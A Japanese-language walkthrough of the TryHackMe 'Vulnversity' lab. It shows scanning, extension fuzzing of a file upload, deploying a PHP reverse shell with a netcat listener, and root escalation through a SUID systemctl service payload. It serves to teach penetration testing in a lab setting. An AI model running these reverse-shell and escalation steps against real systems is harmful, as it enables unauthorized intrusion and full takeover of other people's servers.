TryHackMeのVulnversityの攻略と解説です。
スキャニング
まずは情報収集としてスキャニングをしていきます。
nmap を使っていきます。
$ nmap -sV <ipアドレス>
いくつかのポートが空いてます。その中で注目するべきは 3333/tcp http
でしょう。httpとあるので、なにかしらのWebサイトがありそうです。サイトがあるかブラウザから確認してみます。
予想通り、Webサイトがありました。
Webサイトの調査
前のフェーズでWebサイトがあることがわかりました。どんなページがあるか調査するため、GoBuster
を使います。
$ gobuster dir -u http://<ipアドレス>:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
結果から /internal/
というページがあることがわかりました。このページを確認してみます。
そうするとアップロード画面があることがわかりました。
さらに /internal/ に対して、ディレクトリ探索すると /uploads/ というディレクトリが見つかります。
つまり、先程のアップロード画面からファイルをアップロードすると、このディレクトリにファイルが格納されるのでは?という予想が立ちます。
アップロード機能の調査
internalページはアップロードページのようです。まずはテストとしてtxtファイルをアップロードしてみます。
そうすると、 Extension not allowed
のメッセージが表示されました。txt拡張子はアップロードが許可されていないようです。ということは、なにかしら許可されている拡張子がありそうです。
アップロード可能な拡張子を探すため、BupSuite
を使っていきましょう。
BurpSuiteを立ち上げてアップロード時のリクエストをキャプチャします。
キャプチャしたリクエストを Send Intruder
で、Intruder画面に送ります。
やりたいことは拡張子を変化させてリクエストを投げることです。そのため、拡張子を変数化させます。
Payload画面で検証する拡張子を設定します。
Start Attackボタンで検証を開始します。終わったら、responseを確認します。
そうするとphtmlのresponseがSuccessであることがわかります。
そして、phtmlファイルを作成し、アップロード画面からアップロードします。
そのあとブラウザで http://<ipアドレス>:3333/internal/uploads/
にアクセスするとファイルが格納されていることがわかります。
リバースシェルを使った侵入
PHTMLファイルがアップロード可能なこと、そしてアップロードしたファイルが /uploads/ ディレクトリに格納されることがわかったのでこれらを使って、PHPリバースシェルやっていきます。
リバースシェルの解説はこちら
リバースシェルコードファイルの準備
リバースシェルのPHPコードファイルをダウンロードします。
アップロードできるように拡張子を phtml
に修正します。
$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
$ mv php-reverse-shell.php php-reverse-shell.phtml
ファイルの中身を環境に合わせて変更します。
$ vi php-reverse-shell.php
$ip
で設定しているIPアドレスを現在操作しているLinuxのIPアドレスへ変更していきます。
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
リバースシェルの実行
これでリバースシェルのコードファイルの編集は終わりです。それでは実際にリバースシェルを実行していきましょう。
ターミナルで新しいタブを開きます。そしてリバースシェルを待ち受けるポートを作成します。
$ nc -lvnp 1234
リバースシェルのコードファイルをアップロードします。その後、アップロードしたリバースシェルのコードファイルを実行します。
それを行うため、ブラウザで別タブを開きます。そして、下記URLにアクセスします。
http://10.10.70.41:3333/internal/uploads/php-reverse-shell.phtml
そして、待ち受けポートのターミナルに戻るとリバースシェルが成功しています。
SUIDを使った権限昇格
どうやって権限昇格していくか探るため、所有者が root でSUIDが設定されているファイルを検索します。下記のコマンドを実行するとSUIDが設定されているファイルが見つかります。
$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
GTFOBinsサイト(Linux コマンドでの権限昇格方法をまとめたサイト)で使えそうなファイルを探します。
このサイトを SUID で絞ります。つまり、SUIDを使って権限昇格ができる方法だけになります。あとは先程、findコマンドで抽出したファイルを突き合わせていきます。
そうすると systemctl の攻撃コードが見つかります。
少しコマンド群を書き換えて、下記を実行して権限昇格をしていきます。(環境に合わせてコマンドのPATHを書き換えただけです)
このコマンド群の解説は ここ を見てください
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
以上で攻略完了です。